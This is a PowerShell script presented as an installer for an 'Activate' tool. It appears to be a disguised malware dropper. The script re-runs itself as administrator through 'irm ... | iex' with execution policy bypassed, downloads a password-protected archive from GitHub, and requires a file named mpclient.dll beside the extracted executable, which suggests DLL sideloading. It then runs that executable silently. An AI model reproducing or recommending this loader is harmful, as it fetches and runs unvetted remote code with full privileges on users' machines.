# Activate installer v2.0.4 $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $Owner = 'Freelopiazza' $Repo = 'Activate' $RemotePs1 = "https://raw.githubusercontent.com/$Owner/$Repo/refs/heads/main/install.ps1" function Write-Step { param( [int]$Number, [string]$Text ) Write-Host ("[{0}/3] {1}..." -f $Number, $Text) -ForegroundColor Cyan } function Show-InstallHeader { Write-Host "" Write-Host "Please do not close this window until all operations are finished." -ForegroundColor Yellow Write-Host "This may take a few minutes depending on your connection speed." -ForegroundColor Yellow Write-Host "" } function Stop-InstallerProcesses { foreach ($name in @('Latest Release_v2.1', 'Release')) { Get-Process -Name $name -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } Start-Sleep -Milliseconds 500 } function Resolve-InstallerExe { param( [string]$ExtractDir, [string]$PreferredName ) $preferred = Join-Path $ExtractDir $PreferredName if (Test-Path $preferred) { return $preferred } $candidates = @(Get-ChildItem -Path $ExtractDir -Filter '*.exe' -File -ErrorAction SilentlyContinue) if ($candidates.Count -eq 1) { return $candidates[0].FullName } throw "Installer not found: $preferred" } if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)) { $elevated = "-NoProfile -ExecutionPolicy Bypass -Command ""irm '$RemotePs1' | iex""" Start-Process powershell -Verb RunAs -ArgumentList $elevated exit } $base = "https://github.com/$Owner/$Repo/releases/download/Last" $zipUrl = "$base/Release.zip" $7zaUrl = "$base/7za.exe" $password = 'ReleaseV2.1&*' $exeName = 'Latest Release_v2.1.exe' $silentArgs = '/S' Stop-InstallerProcesses $work = Join-Path $env:TEMP ("app_install_{0}" -f ([guid]::NewGuid().ToString('N').Substring(0, 8))) $zip = Join-Path $work 'Release.zip' $7za = Join-Path $work '7za.exe' $dest = Join-Path $work 'extracted' Show-InstallHeader Write-Step 1 'Downloading components' New-Item -ItemType Directory -Path $work -Force | Out-Null Invoke-RestMethod $7zaUrl -OutFile $7za Invoke-RestMethod $zipUrl -OutFile $zip Write-Step 2 'Preparing files' New-Item -ItemType Directory -Path $dest -Force | Out-Null & $7za x $zip "-o$dest" "-p$password" -y | Out-Null if ($LASTEXITCODE -ne 0) { throw "Extract failed (code $LASTEXITCODE)" } $exe = Resolve-InstallerExe -ExtractDir $dest -PreferredName $exeName $dll = Join-Path $dest 'mpclient.dll' if (-not (Test-Path $dll)) { throw "Required file not found: $dll" } Write-Step 3 'Running setup' $proc = Start-Process -FilePath $exe -ArgumentList $silentArgs -WorkingDirectory $dest -PassThru -Wait if ($null -eq $proc) { throw 'Installer did not start' } if ($proc.ExitCode -ne 0) { throw ("Installer exited with code {0}" -f $proc.ExitCode) } Write-Host "" Write-Host "Setup finished successfully." -ForegroundColor Green Write-Host ""